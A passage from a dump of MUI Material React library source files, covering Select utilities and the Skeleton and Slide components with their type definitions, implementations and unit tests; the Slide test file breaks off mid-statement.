    "path": "packages/mui-material/src/Select/utils/index.ts",
    "content": "export { default as getOpenInteractionType } from './getOpenInteractionType';\nexport { default as isEmpty } from './isEmpty';\nexport { default as areEqualValues } from './areEqualValues';\nexport { useSelectFocusSource, SelectFocusSourceProvider } from './SelectFocusSourceContext';\n"
  },
  {
    "path": "packages/mui-material/src/Select/utils/isEmpty.ts",
    "content": "export default function isEmpty(display: unknown) {\n  return display == null || (typeof display === 'string' && !display.trim());\n}\n"
  },
  {
    "path": "packages/mui-material/src/Skeleton/Skeleton.d.ts",
    "content": "import * as React from 'react';\nimport { SxProps } from '@mui/system';\nimport { OverridableStringUnion } from '@mui/types';\nimport { Theme } from '../styles';\nimport { OverridableComponent, OverrideProps } from '../OverridableComponent';\nimport { SkeletonClasses } from './skeletonClasses';\n\nexport interface SkeletonPropsVariantOverrides {}\n\nexport interface SkeletonOwnProps {\n  /**\n   * The animation.\n   * If `false` the animation effect is disabled.\n   * @default 'pulse'\n   */\n  animation?: 'pulse' | 'wave' | false | undefined;\n  /**\n   * Optional children to infer width and height from.\n   */\n  children?: React.ReactNode;\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes?: Partial<SkeletonClasses> | undefined;\n  /**\n   * Height of the skeleton.\n   * Useful when you don't want to adapt the skeleton to a text element but for instance a card.\n   */\n  height?: number | string | undefined;\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx?: SxProps<Theme> | undefined;\n  /**\n   * The type of content that will be rendered.\n   * @default 'text'\n   */\n  variant?:\n    | OverridableStringUnion<\n        'text' | 'rectangular' | 'rounded' | 'circular',\n        SkeletonPropsVariantOverrides\n      >\n    | undefined;\n  /**\n   * Width of the skeleton.\n   * Useful when the skeleton is inside an inline element with no width of its own.\n   */\n  width?: number | string | undefined;\n}\n\nexport interface SkeletonTypeMap<\n  AdditionalProps = {},\n  RootComponent extends React.ElementType = 'span',\n> {\n  props: AdditionalProps & SkeletonOwnProps;\n  defaultComponent: RootComponent;\n}\n\n/**\n *\n * Demos:\n *\n * - [Skeleton](https://next.mui.com/material-ui/react-skeleton/)\n *\n * API:\n *\n * - [Skeleton API](https://next.mui.com/material-ui/api/skeleton/)\n */\ndeclare const Skeleton: OverridableComponent<SkeletonTypeMap>;\n\nexport type SkeletonProps<\n  RootComponent extends React.ElementType = SkeletonTypeMap['defaultComponent'],\n  AdditionalProps = {},\n> = OverrideProps<SkeletonTypeMap<AdditionalProps, RootComponent>, RootComponent> & {\n  component?: React.ElementType | undefined;\n};\n\nexport default Skeleton;\n"
  },
  {
    "path": "packages/mui-material/src/Skeleton/Skeleton.js",
    "content": "'use client';\nimport * as React from 'react';\nimport clsx from 'clsx';\nimport PropTypes from 'prop-types';\nimport composeClasses from '@mui/utils/composeClasses';\nimport { unstable_getUnit as getUnit, unstable_toUnitless as toUnitless } from '../styles';\nimport { keyframes, css, styled } from '../zero-styled';\nimport memoTheme from '../utils/memoTheme';\nimport { useDefaultProps } from '../DefaultPropsProvider';\nimport { getSkeletonUtilityClass } from './skeletonClasses';\n\nconst useUtilityClasses = (ownerState) => {\n  const { classes, variant, animation, hasChildren, width, height } = ownerState;\n\n  const slots = {\n    root: [\n      'root',\n      variant,\n      animation,\n      hasChildren && 'withChildren',\n      hasChildren && !width && 'fitContent',\n      hasChildren && !height && 'heightAuto',\n    ],\n  };\n\n  return composeClasses(slots, getSkeletonUtilityClass, classes);\n};\n\nconst pulseKeyframe = keyframes`\n  0% {\n    opacity: 1;\n  }\n\n  50% {\n    opacity: 0.4;\n  }\n\n  100% {\n    opacity: 1;\n  }\n`;\n\nconst waveKeyframe = keyframes`\n  0% {\n    transform: translateX(-100%);\n  }\n\n  50% {\n    /* +0.5s of delay between each loop */\n    transform: translateX(100%);\n  }\n\n  100% {\n    transform: translateX(100%);\n  }\n`;\n\n// This implementation is for supporting both Styled-components v4+ and Pigment CSS.\n// A global animation has to be created here for Styled-components v4+ (https://github.com/styled-components/styled-components/blob/main/packages/styled-components/src/utils/errors.md#12).\n// which can be done by checking typeof indeterminate1Keyframe !== 'string' (at runtime, Pigment CSS transform keyframes`` to a string).\nconst pulseAnimation =\n  typeof pulseKeyframe !== 'string'\n    ? css`\n        animation: ${pulseKeyframe} 2s ease-in-out 0.5s infinite;\n      `\n    : null;\n\nconst waveAnimation =\n  typeof waveKeyframe !== 'string'\n    ? css`\n        &::after {\n          animation: ${waveKeyframe} 2s linear 0.5s infinite;\n        }\n      `\n    : null;\n\nconst SkeletonRoot = styled('span', {\n  name: 'MuiSkeleton',\n  slot: 'Root',\n  overridesResolver: (props, styles) => {\n    const { ownerState } = props;\n\n    return [\n      styles.root,\n      styles[ownerState.variant],\n      ownerState.animation !== false && styles[ownerState.animation],\n      ownerState.hasChildren && styles.withChildren,\n      ownerState.hasChildren && !ownerState.width && styles.fitContent,\n      ownerState.hasChildren && !ownerState.height && styles.heightAuto,\n    ];\n  },\n})(\n  memoTheme(({ theme }) => {\n    const radiusUnit = getUnit(theme.shape.borderRadius) || 'px';\n    const radiusValue = toUnitless(theme.shape.borderRadius);\n\n    return {\n      display: 'block',\n      // Create a \"on paper\" color with sufficient contrast retaining the color\n      backgroundColor: theme.vars\n        ? theme.vars.palette.Skeleton.bg\n        : theme.alpha(theme.palette.text.primary, theme.palette.mode === 'light' ? 0.11 : 0.13),\n      height: '1.2em',\n      variants: [\n        {\n          props: {\n            variant: 'text',\n          },\n          style: {\n            marginTop: 0,\n            marginBottom: 0,\n            height: 'auto',\n            transformOrigin: '0 55%',\n            transform: 'scale(1, 0.60)',\n            borderRadius: `${radiusValue}${radiusUnit}/${Math.round((radiusValue / 0.6) * 10) / 10}${\n              radiusUnit\n            }`,\n            '&:empty:before': {\n              content: '\"\\\\00a0\"',\n            },\n          },\n        },\n        {\n          props: {\n            variant: 'circular',\n          },\n          style: {\n            borderRadius: '50%',\n          },\n        },\n        {\n          props: {\n            variant: 'rounded',\n          },\n          style: {\n            borderRadius: (theme.vars || theme).shape.borderRadius,\n          },\n        },\n        {\n          props: ({ ownerState }) => ownerState.hasChildren,\n          style: {\n            '& > *': {\n              visibility: 'hidden',\n            },\n          },\n        },\n        {\n          props: ({ ownerState }) => ownerState.hasChildren && !ownerState.width,\n          style: {\n            maxWidth: 'fit-content',\n          },\n        },\n        {\n          props: ({ ownerState }) => ownerState.hasChildren && !ownerState.height,\n          style: {\n            height: 'auto',\n          },\n        },\n        {\n          props: {\n            animation: 'pulse',\n          },\n          style: pulseAnimation || {\n            animation: `${pulseKeyframe} 2s ease-in-out 0.5s infinite`,\n          },\n        },\n        {\n          props: {\n            animation: 'wave',\n          },\n          style: {\n            position: 'relative',\n            overflow: 'hidden',\n            /* Fix bug in Safari https://bugs.webkit.org/show_bug.cgi?id=68196 */\n            WebkitMaskImage: '-webkit-radial-gradient(white, black)',\n            '&::after': {\n              background: `linear-gradient(\n                90deg,\n                transparent,\n                ${(theme.vars || theme).palette.action.hover},\n                transparent\n              )`,\n              content: '\"\"',\n              position: 'absolute',\n              transform: 'translateX(-100%)' /* Avoid flash during server-side hydration */,\n              bottom: 0,\n              left: 0,\n              right: 0,\n              top: 0,\n            },\n          },\n        },\n        {\n          props: {\n            animation: 'wave',\n          },\n          style: waveAnimation || {\n            '&::after': {\n              animation: `${waveKeyframe} 2s linear 0.5s infinite`,\n            },\n          },\n        },\n      ],\n    };\n  }),\n);\n\nconst Skeleton = React.forwardRef(function Skeleton(inProps, ref) {\n  const props = useDefaultProps({ props: inProps, name: 'MuiSkeleton' });\n  const {\n    animation = 'pulse',\n    className,\n    component = 'span',\n    height,\n    style,\n    variant = 'text',\n    width,\n    ...other\n  } = props;\n\n  const ownerState = {\n    ...props,\n    animation,\n    component,\n    variant,\n    hasChildren: Boolean(other.children),\n  };\n\n  const classes = useUtilityClasses(ownerState);\n\n  return (\n    <SkeletonRoot\n      as={component}\n      ref={ref}\n      className={clsx(classes.root, className)}\n      ownerState={ownerState}\n      {...other}\n      style={{\n        width,\n        height,\n        ...style,\n      }}\n    />\n  );\n});\n\nSkeleton.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │    To update them, edit the d.ts file and run `pnpm proptypes`.     │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * The animation.\n   * If `false` the animation effect is disabled.\n   * @default 'pulse'\n   */\n  animation: PropTypes.oneOf(['pulse', 'wave', false]),\n  /**\n   * Optional children to infer width and height from.\n   */\n  children: PropTypes.node,\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes: PropTypes.object,\n  /**\n   * @ignore\n   */\n  className: PropTypes.string,\n  /**\n   * The component used for the root node.\n   * Either a string to use a HTML element or a component.\n   */\n  component: PropTypes.elementType,\n  /**\n   * Height of the skeleton.\n   * Useful when you don't want to adapt the skeleton to a text element but for instance a card.\n   */\n  height: PropTypes.oneOfType([PropTypes.number, PropTypes.string]),\n  /**\n   * @ignore\n   */\n  style: PropTypes.object,\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool])),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n  /**\n   * The type of content that will be rendered.\n   * @default 'text'\n   */\n  variant: PropTypes /* @typescript-to-proptypes-ignore */.oneOfType([\n    PropTypes.oneOf(['circular', 'rectangular', 'rounded', 'text']),\n    PropTypes.string,\n  ]),\n  /**\n   * Width of the skeleton.\n   * Useful when the skeleton is inside an inline element with no width of its own.\n   */\n  width: PropTypes.oneOfType([PropTypes.number, PropTypes.string]),\n};\n\nexport default Skeleton;\n"
  },
  {
    "path": "packages/mui-material/src/Skeleton/Skeleton.test.js",
    "content": "import { expect } from 'chai';\nimport { createRenderer } from '@mui/internal-test-utils';\nimport Skeleton, { skeletonClasses as classes } from '@mui/material/Skeleton';\nimport describeConformance from '../../test/describeConformance';\n\ndescribe('<Skeleton />', () => {\n  const { render } = createRenderer();\n\n  describeConformance(<Skeleton />, () => ({\n    classes,\n    inheritComponent: 'span',\n    render,\n    refInstanceof: window.HTMLSpanElement,\n    muiName: 'MuiSkeleton',\n    testVariantProps: { variant: 'circular', animation: 'wave' },\n  }));\n\n  it('should render', () => {\n    const { container } = render(<Skeleton />);\n\n    expect(container.firstChild).to.have.class(classes.root);\n  });\n\n  it('should get withChildren class when passed children', () => {\n    const { container } = render(\n      <Skeleton>\n        <span />\n      </Skeleton>,\n    );\n\n    expect(container.firstChild).to.have.class(classes.withChildren);\n  });\n\n  it('should get fitContent class when passed children and no width', () => {\n    const { container: containerWithoutWidth } = render(\n      <Skeleton>\n        <span />\n      </Skeleton>,\n    );\n\n    expect(containerWithoutWidth.firstChild).to.have.class(classes.fitContent);\n\n    const { container: containerWithWidth } = render(\n      <Skeleton width=\"100\">\n        <span />\n      </Skeleton>,\n    );\n\n    expect(containerWithWidth.firstChild).not.to.have.class(classes.fitContent);\n  });\n\n  it('should get heightAuto class when passed children and no height', () => {\n    const { container: containerWithoutHeight } = render(\n      <Skeleton>\n        <span />\n      </Skeleton>,\n    );\n\n    expect(containerWithoutHeight.firstChild).to.have.class(classes.heightAuto);\n\n    const { container: containerWithHeight } = render(\n      <Skeleton height=\"100\">\n        <span />\n      </Skeleton>,\n    );\n\n    expect(containerWithHeight.firstChild).not.to.have.class(classes.heightAuto);\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/Skeleton/index.d.ts",
    "content": "export * from './Skeleton';\nexport { default } from './Skeleton';\n\nexport * from './skeletonClasses';\nexport { default as skeletonClasses } from './skeletonClasses';\n"
  },
  {
    "path": "packages/mui-material/src/Skeleton/index.js",
    "content": "export { default } from './Skeleton';\n\nexport * from './skeletonClasses';\nexport { default as skeletonClasses } from './skeletonClasses';\n"
  },
  {
    "path": "packages/mui-material/src/Skeleton/skeletonClasses.ts",
    "content": "import generateUtilityClasses from '@mui/utils/generateUtilityClasses';\nimport generateUtilityClass from '@mui/utils/generateUtilityClass';\n\nexport interface SkeletonClasses {\n  /** Styles applied to the root element. */\n  root: string;\n  /** Styles applied to the root element if `variant=\"text\"`. */\n  text: string;\n  /** Styles applied to the root element if `variant=\"rectangular\"`. */\n  rectangular: string;\n  /** Styles applied to the root element if `variant=\"rounded\"`. */\n  rounded: string;\n  /** Styles applied to the root element if `variant=\"circular\"`. */\n  circular: string;\n  /** Styles applied to the root element if `animation=\"pulse\"`. */\n  pulse: string;\n  /** Styles applied to the root element if `animation=\"wave\"`. */\n  wave: string;\n  /** Styles applied when the component is passed children. */\n  withChildren: string;\n  /** Styles applied when the component is passed children and no width. */\n  fitContent: string;\n  /** Styles applied when the component is passed children and no height. */\n  heightAuto: string;\n}\n\nexport type SkeletonClassKey = keyof SkeletonClasses;\n\nexport function getSkeletonUtilityClass(slot: string): string {\n  return generateUtilityClass('MuiSkeleton', slot);\n}\n\nconst skeletonClasses: SkeletonClasses = generateUtilityClasses('MuiSkeleton', [\n  'root',\n  'text',\n  'rectangular',\n  'rounded',\n  'circular',\n  'pulse',\n  'wave',\n  'withChildren',\n  'fitContent',\n  'heightAuto',\n]);\n\nexport default skeletonClasses;\n"
  },
  {
    "path": "packages/mui-material/src/Slide/Slide.d.ts",
    "content": "import * as React from 'react';\nimport { TransitionProps } from '../transitions/transition';\n\nexport interface SlideProps extends TransitionProps {\n  /**\n   * Perform the enter transition when it first mounts if `in` is also `true`.\n   * Set this to `false` to disable this behavior.\n   * @default true\n   */\n  appear?: boolean | undefined;\n  /**\n   * A single child content element.\n   */\n  children: React.ReactElement<unknown, any>;\n  /**\n   * An HTML element, or a function that returns one.\n   * It's used to set the container the Slide is transitioning from.\n   */\n  container?: null | Element | ((element: Element) => Element) | undefined;\n  /**\n   * Direction the child node will enter from.\n   * @default 'down'\n   */\n  direction?: 'left' | 'right' | 'up' | 'down' | undefined;\n  /**\n   * The transition timing function.\n   * You may specify a single easing or a object containing enter and exit values.\n   * @default {\n   *   enter: theme.transitions.easing.easeOut,\n   *   exit: theme.transitions.easing.sharp,\n   * }\n   */\n  easing?: TransitionProps['easing'] | undefined;\n  /**\n   * If `true`, the component will transition in.\n   */\n  in?: TransitionProps['in'] | undefined;\n  ref?: React.Ref<unknown> | undefined;\n  /**\n   * The duration for the transition, in milliseconds.\n   * You may specify a single timeout for all transitions, or individually with an object.\n   * @default {\n   *   enter: theme.transitions.duration.enteringScreen,\n   *   exit: theme.transitions.duration.leavingScreen,\n   * }\n   */\n  timeout?: TransitionProps['timeout'] | undefined;\n}\n\n/**\n * The Slide transition is used by the [Drawer](https://next.mui.com/material-ui/react-drawer/) component.\n * It uses [react-transition-group](https://github.com/reactjs/react-transition-group) internally.\n *\n * Demos:\n *\n * - [Dialog](https://next.mui.com/material-ui/react-dialog/)\n * - [Transitions](https://next.mui.com/material-ui/transitions/)\n *\n * API:\n *\n * - [Slide API](https://next.mui.com/material-ui/api/slide/)\n * - inherits [Transition API](https://reactcommunity.org/react-transition-group/transition/#Transition-props)\n */\nexport default function Slide(props: SlideProps): React.JSX.Element;\n"
  },
  {
    "path": "packages/mui-material/src/Slide/Slide.js",
    "content": "'use client';\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\nimport { Transition } from 'react-transition-group';\nimport chainPropTypes from '@mui/utils/chainPropTypes';\nimport HTMLElementType from '@mui/utils/HTMLElementType';\nimport elementAcceptingRef from '@mui/utils/elementAcceptingRef';\nimport getReactElementRef from '@mui/utils/getReactElementRef';\nimport isLayoutSupported from '../utils/isLayoutSupported';\nimport debounce from '../utils/debounce';\nimport useForkRef from '../utils/useForkRef';\nimport { useTheme } from '../zero-styled';\nimport { reflow, getTransitionProps } from '../transitions/utils';\nimport { ownerWindow } from '../utils';\n\n// Translate the node so it can't be seen on the screen.\n// Later, we're going to translate the node back to its original location with `none`.\nfunction getTranslateValue(direction, node, resolvedContainer) {\n  const rect = node.getBoundingClientRect();\n  const containerRect = resolvedContainer && resolvedContainer.getBoundingClientRect();\n  const containerWindow = ownerWindow(node);\n  let transform;\n\n  if (node.fakeTransform) {\n    transform = node.fakeTransform;\n  } else {\n    const computedStyle = containerWindow.getComputedStyle(node);\n    transform =\n      computedStyle.getPropertyValue('-webkit-transform') ||\n      computedStyle.getPropertyValue('transform');\n  }\n\n  let offsetX = 0;\n  let offsetY = 0;\n\n  if (transform && transform !== 'none' && typeof transform === 'string') {\n    const transformValues = transform.split('(')[1].split(')')[0].split(',');\n    offsetX = parseInt(transformValues[4], 10);\n    offsetY = parseInt(transformValues[5], 10);\n  }\n\n  if (direction === 'left') {\n    if (containerRect) {\n      return `translateX(${containerRect.right + offsetX - rect.left}px)`;\n    }\n\n    return `translateX(${containerWindow.innerWidth + offsetX - rect.left}px)`;\n  }\n\n  if (direction === 'right') {\n    if (containerRect) {\n      return `translateX(-${rect.right - containerRect.left - offsetX}px)`;\n    }\n\n    return `translateX(-${rect.left + rect.width - offsetX}px)`;\n  }\n\n  if (direction === 'up') {\n    if (containerRect) {\n      return `translateY(${containerRect.bottom + offsetY - rect.top}px)`;\n    }\n    return `translateY(${containerWindow.innerHeight + offsetY - rect.top}px)`;\n  }\n\n  // direction === 'down'\n  if (containerRect) {\n    return `translateY(-${rect.top - containerRect.top + rect.height - offsetY}px)`;\n  }\n  return `translateY(-${rect.top + rect.height - offsetY}px)`;\n}\n\nfunction resolveContainer(containerPropProp) {\n  return typeof containerPropProp === 'function' ? containerPropProp() : containerPropProp;\n}\n\nexport function setTranslateValue(direction, node, containerProp) {\n  const resolvedContainer = resolveContainer(containerProp);\n  const transform = getTranslateValue(direction, node, resolvedContainer);\n\n  if (transform) {\n    node.style.webkitTransform = transform;\n    node.style.transform = transform;\n  }\n}\n\n/**\n * The Slide transition is used by the [Drawer](/material-ui/react-drawer/) component.\n * It uses [react-transition-group](https://github.com/reactjs/react-transition-group) internally.\n */\nconst Slide = React.forwardRef(function Slide(props, ref) {\n  const theme = useTheme();\n  const defaultEasing = {\n    enter: theme.transitions.easing.easeOut,\n    exit: theme.transitions.easing.sharp,\n  };\n\n  const defaultTimeout = {\n    enter: theme.transitions.duration.enteringScreen,\n    exit: theme.transitions.duration.leavingScreen,\n  };\n\n  const {\n    addEndListener,\n    appear = true,\n    children,\n    container: containerProp,\n    direction = 'down',\n    easing: easingProp = defaultEasing,\n    in: inProp,\n    onEnter,\n    onEntered,\n    onEntering,\n    onExit,\n    onExited,\n    onExiting,\n    style,\n    timeout = defaultTimeout,\n    // eslint-disable-next-line react/prop-types\n    TransitionComponent = Transition,\n    ...other\n  } = props;\n\n  const childrenRef = React.useRef(null);\n  const handleRef = useForkRef(getReactElementRef(children), childrenRef, ref);\n\n  const normalizedTransitionCallback = (callback) => (isAppearing) => {\n    if (callback) {\n      // onEnterXxx and onExitXxx callbacks have a different arguments.length value.\n      if (isAppearing === undefined) {\n        callback(childrenRef.current);\n      } else {\n        callback(childrenRef.current, isAppearing);\n      }\n    }\n  };\n\n  const handleEnter = normalizedTransitionCallback((node, isAppearing) => {\n    setTranslateValue(direction, node, containerProp);\n    reflow(node);\n\n    if (onEnter) {\n      onEnter(node, isAppearing);\n    }\n  });\n\n  const handleEntering = normalizedTransitionCallback((node, isAppearing) => {\n    const transitionProps = getTransitionProps(\n      { timeout, style, easing: easingProp },\n      {\n        mode: 'enter',\n      },\n    );\n\n    node.style.webkitTransition = theme.transitions.create('-webkit-transform', {\n      ...transitionProps,\n    });\n\n    node.style.transition = theme.transitions.create('transform', {\n      ...transitionProps,\n    });\n\n    node.style.webkitTransform = 'none';\n    node.style.transform = 'none';\n    if (onEntering) {\n      onEntering(node, isAppearing);\n    }\n  });\n\n  const handleEntered = normalizedTransitionCallback(onEntered);\n  const handleExiting = normalizedTransitionCallback(onExiting);\n\n  const handleExit = normalizedTransitionCallback((node) => {\n    const transitionProps = getTransitionProps(\n      { timeout, style, easing: easingProp },\n      {\n        mode: 'exit',\n      },\n    );\n\n    node.style.webkitTransition = theme.transitions.create('-webkit-transform', transitionProps);\n    node.style.transition = theme.transitions.create('transform', transitionProps);\n\n    setTranslateValue(direction, node, containerProp);\n\n    if (onExit) {\n      onExit(node);\n    }\n  });\n\n  const handleExited = normalizedTransitionCallback((node) => {\n    // No need for transitions when the component is hidden\n    node.style.webkitTransition = '';\n    node.style.transition = '';\n\n    if (onExited) {\n      onExited(node);\n    }\n  });\n\n  const handleAddEndListener = (next) => {\n    if (addEndListener) {\n      // Old call signature before `react-transition-group` implemented `nodeRef`\n      addEndListener(childrenRef.current, next);\n    }\n  };\n\n  const updatePosition = React.useCallback(() => {\n    if (childrenRef.current) {\n      setTranslateValue(direction, childrenRef.current, containerProp);\n    }\n  }, [direction, containerProp]);\n\n  React.useEffect(() => {\n    // Skip configuration where the position is screen size invariant.\n    if (inProp || direction === 'down' || direction === 'right') {\n      return undefined;\n    }\n\n    const handleResize = debounce(() => {\n      if (childrenRef.current) {\n        setTranslateValue(direction, childrenRef.current, containerProp);\n      }\n    });\n\n    const containerWindow = ownerWindow(childrenRef.current);\n    containerWindow.addEventListener('resize', handleResize);\n    return () => {\n      handleResize.clear();\n      containerWindow.removeEventListener('resize', handleResize);\n    };\n  }, [direction, inProp, containerProp]);\n\n  React.useEffect(() => {\n    if (!inProp) {\n      // We need to update the position of the drawer when the direction change and\n      // when it's hidden.\n      updatePosition();\n    }\n  }, [inProp, updatePosition]);\n\n  return (\n    <TransitionComponent\n      nodeRef={childrenRef}\n      onEnter={handleEnter}\n      onEntered={handleEntered}\n      onEntering={handleEntering}\n      onExit={handleExit}\n      onExited={handleExited}\n      onExiting={handleExiting}\n      addEndListener={handleAddEndListener}\n      appear={appear}\n      in={inProp}\n      timeout={timeout}\n      {...other}\n    >\n      {/* Ensure \"ownerState\" is not forwarded to the child DOM element when a direct HTML element is used. This avoids unexpected behavior since \"ownerState\" is intended for internal styling, component props and not as a DOM attribute. */}\n      {(state, { ownerState, ...restChildProps }) => {\n        return React.cloneElement(children, {\n          ref: handleRef,\n          style: {\n            visibility: state === 'exited' && !inProp ? 'hidden' : undefined,\n            ...style,\n            ...children.props.style,\n          },\n          ...restChildProps,\n        });\n      }}\n    </TransitionComponent>\n  );\n});\n\nSlide.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │    To update them, edit the d.ts file and run `pnpm proptypes`.     │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * Add a custom transition end trigger. Called with the transitioning DOM\n   * node and a done callback. Allows for more fine grained transition end\n   * logic. Note: Timeouts are still used as a fallback if provided.\n   */\n  addEndListener: PropTypes.func,\n  /**\n   * Perform the enter transition when it first mounts if `in` is also `true`.\n   * Set this to `false` to disable this behavior.\n   * @default true\n   */\n  appear: PropTypes.bool,\n  /**\n   * A single child content element.\n   */\n  children: elementAcceptingRef.isRequired,\n  /**\n   * An HTML element, or a function that returns one.\n   * It's used to set the container the Slide is transitioning from.\n   */\n  container: chainPropTypes(PropTypes.oneOfType([HTMLElementType, PropTypes.func]), (props) => {\n    if (props.open) {\n      const resolvedContainer = resolveContainer(props.container);\n\n      if (resolvedContainer && resolvedContainer.nodeType === 1) {\n        const box = resolvedContainer.getBoundingClientRect();\n\n        if (process.env.NODE_ENV !== 'production') {\n          if (\n            isLayoutSupported() &&\n            box.top === 0 &&\n            box.left === 0 &&\n            box.right === 0 &&\n            box.bottom === 0\n          ) {\n            return new Error(\n              [\n                'MUI: The `container` prop provided to the component is invalid.',\n                'The anchor element should be part of the document layout.',\n                \"Make sure the element is present in the document or that it's not display none.\",\n              ].join('\\n'),\n            );\n          }\n        }\n      } else if (\n        !resolvedContainer ||\n        typeof resolvedContainer.getBoundingClientRect !== 'function' ||\n        (resolvedContainer.contextElement != null &&\n          resolvedContainer.contextElement.nodeType !== 1)\n      ) {\n        return new Error(\n          [\n            'MUI: The `container` prop provided to the component is invalid.',\n            'It should be an HTML element instance.',\n          ].join('\\n'),\n        );\n      }\n    }\n\n    return null;\n  }),\n  /**\n   * Direction the child node will enter from.\n   * @default 'down'\n   */\n  direction: PropTypes.oneOf(['down', 'left', 'right', 'up']),\n  /**\n   * The transition timing function.\n   * You may specify a single easing or a object containing enter and exit values.\n   * @default {\n   *   enter: theme.transitions.easing.easeOut,\n   *   exit: theme.transitions.easing.sharp,\n   * }\n   */\n  easing: PropTypes.oneOfType([\n    PropTypes.shape({\n      enter: PropTypes.string,\n      exit: PropTypes.string,\n    }),\n    PropTypes.string,\n  ]),\n  /**\n   * If `true`, the component will transition in.\n   */\n  in: PropTypes.bool,\n  /**\n   * @ignore\n   */\n  onEnter: PropTypes.func,\n  /**\n   * @ignore\n   */\n  onEntered: PropTypes.func,\n  /**\n   * @ignore\n   */\n  onEntering: PropTypes.func,\n  /**\n   * @ignore\n   */\n  onExit: PropTypes.func,\n  /**\n   * @ignore\n   */\n  onExited: PropTypes.func,\n  /**\n   * @ignore\n   */\n  onExiting: PropTypes.func,\n  /**\n   * @ignore\n   */\n  style: PropTypes.object,\n  /**\n   * The duration for the transition, in milliseconds.\n   * You may specify a single timeout for all transitions, or individually with an object.\n   * @default {\n   *   enter: theme.transitions.duration.enteringScreen,\n   *   exit: theme.transitions.duration.leavingScreen,\n   * }\n   */\n  timeout: PropTypes.oneOfType([\n    PropTypes.number,\n    PropTypes.shape({\n      appear: PropTypes.number,\n      enter: PropTypes.number,\n      exit: PropTypes.number,\n    }),\n  ]),\n};\n\nexport default Slide;\n"
  },
  {
    "path": "packages/mui-material/src/Slide/Slide.test.js",
    "content": "import * as React from 'react';\nimport { expect } from 'chai';\nimport { spy, stub } from 'sinon';\nimport { act, createRenderer, screen, isJsdom } from '@mui/internal-test-utils';\nimport { Transition } from 'react-transition-group';\nimport { createTheme, ThemeProvider } from '@mui/material/styles';\nimport Slide from '@mui/material/Slide';\nimport { setTranslateValue } from './Slide';\nimport { useForkRef } from '../utils';\nimport describeConformance from '../../test/describeConformance';\n\ndescribe('<Slide />', () => {\n  const { clock, render } = createRenderer();\n\n  const defaultProps = {\n    in: true,\n    children: <div id=\"testChild\" />,\n    direction: 'down',\n  };\n\n  describeConformance(\n    <Slide in>\n      <div />\n    </Slide>,\n    () => ({\n      render,\n      classes: {},\n      inheritComponent: Transition,\n      refInstanceof: window.HTMLDivElement,\n      skip: ['componentProp', 'themeDefaultProps', 'themeStyleOverrides', 'themeVariants'],\n    }),\n  );\n\n  it('should not override children styles', () => {\n    const { container } = render(\n      <Slide\n        {...defaultProps}\n        style={{ color: 'red', backgroundColor: 'yellow' }}\n        theme={createTheme()}\n      >\n        <div id=\"with-slide\" style={{ color: 'blue' }} />\n      </Slide>,\n    );\n\n    const slide = container.querySelector('#with-slide');\n\n    expect(slide.style).to.have.property('backgroundColor', 'yellow');\n    expect(slide.style).to.have.property('color', 'blue');\n    expect(slide.style).to.have.property('visibility', '');\n  });\n\n  describe('transition lifecycle', () => {\n    clock.withFakeTimers();\n\n    it('tests', () => {\n      const handleAddEndListener = spy();\n      const handleEnter = spy();\n      const handleEntering = spy();\n      const handleEntered = spy();\n      const handleExit = spy();\n      const handleExiting = spy();\n      const handleExited = spy();\n\n      let child;\n      const { setProps } = render(\n        <Slide\n          addEndListener={handleAddEndListener}\n          onEnter={handleEnter}\n          onEntering={handleEntering}\n          onEntered={handleEntered}\n          onExit={handleExit}\n          onExiting={handleExiting}\n          onExited={handleExited}\n        >\n          <div\n            ref={(ref) => {\n              child = ref;\n            }}\n          />\n        </Slide>,\n      );\n\n      setProps({ in: true });\n\n      expect(handleAddEndListener.callCount).to.equal(1);\n      expect(handleAddEndListener.args[0][0]).to.equal(child);\n      expect(typeof handleAddEndListener.args[0][1]).to.equal('function');\n\n      expect(handleEntering.callCount).to.equal(1);\n      expect(handleEntering.args[0][0]).to.equal(child);\n\n      expect(handleEntering.args[0][0].style.transform).to.match(/none/);\n\n      expect(handleEntering.callCount).to.equal(1);\n      expect(handleEntering.args[0][0]).to.equal(child);\n\n      clock.tick(1000);\n      expect(handleEntered.callCount).to.equal(1);\n\n      setProps({ in: false });\n\n      expect(handleExiting.callCount).to.equal(1);\n      expect(handleExiting.args[0][0]).to.equal(child);\n\n      expect(handleExiting.callCount).to.equal(1);\n      expect(handleExiting.args[0][0]).to.equal(child);\n\n      clock.tick(1000);\n      expect(handleExited.callCount).to.equal(1);\n      expect(handleExited.args[0][0]).to.equal(child);\n    });\n  });\n\n  describe('prop: timeout', () => {\n    it('should create proper enter animation onEntering', () => {\n      const handleEntering = spy();\n\n      render(\n        <Slide\n          {...defaultProps}\n          timeout={{\n            enter: 556,\n          }}\n          onEntering={handleEntering}\n        />,\n      );\n\n      expect(handleEntering.args[0][0].style.transition).to.match(\n        /transform 556ms cubic-bezier\\(0(.0)?, 0, 0.2, 1\\)( 0ms)?/,\n      );\n    });\n\n    it('should create proper exit animation', () => {\n      const handleExit = spy();\n      const { setProps } = render(\n        <Slide\n          {...defaultProps}\n          timeout={{\n            exit: 446,\n          }}\n          onExit={handleExit}\n        />,\n      );\n\n      setProps({ in: false });\n\n      expect(handleExit.args[0][0].style.transition).to.match(\n        /transform 446ms cubic-bezier\\(0.4, 0, 0.6, 1\\)( 0ms)?/,\n      );\n    });\n\n    it.skipIf(isJsdom())('should render the default theme values by default', function test() {\n      const theme = createTheme();\n      const enteringScreenDurationInSeconds = theme.transitions.duration.enteringScreen / 1000;\n\n      render(\n        <Slide in appear>\n          <div data-testid=\"child\">Foo</div>\n        </Slide>,\n      );\n\n      const child = screen.getByTestId('child');\n      expect(child).toHaveComputedStyle({\n       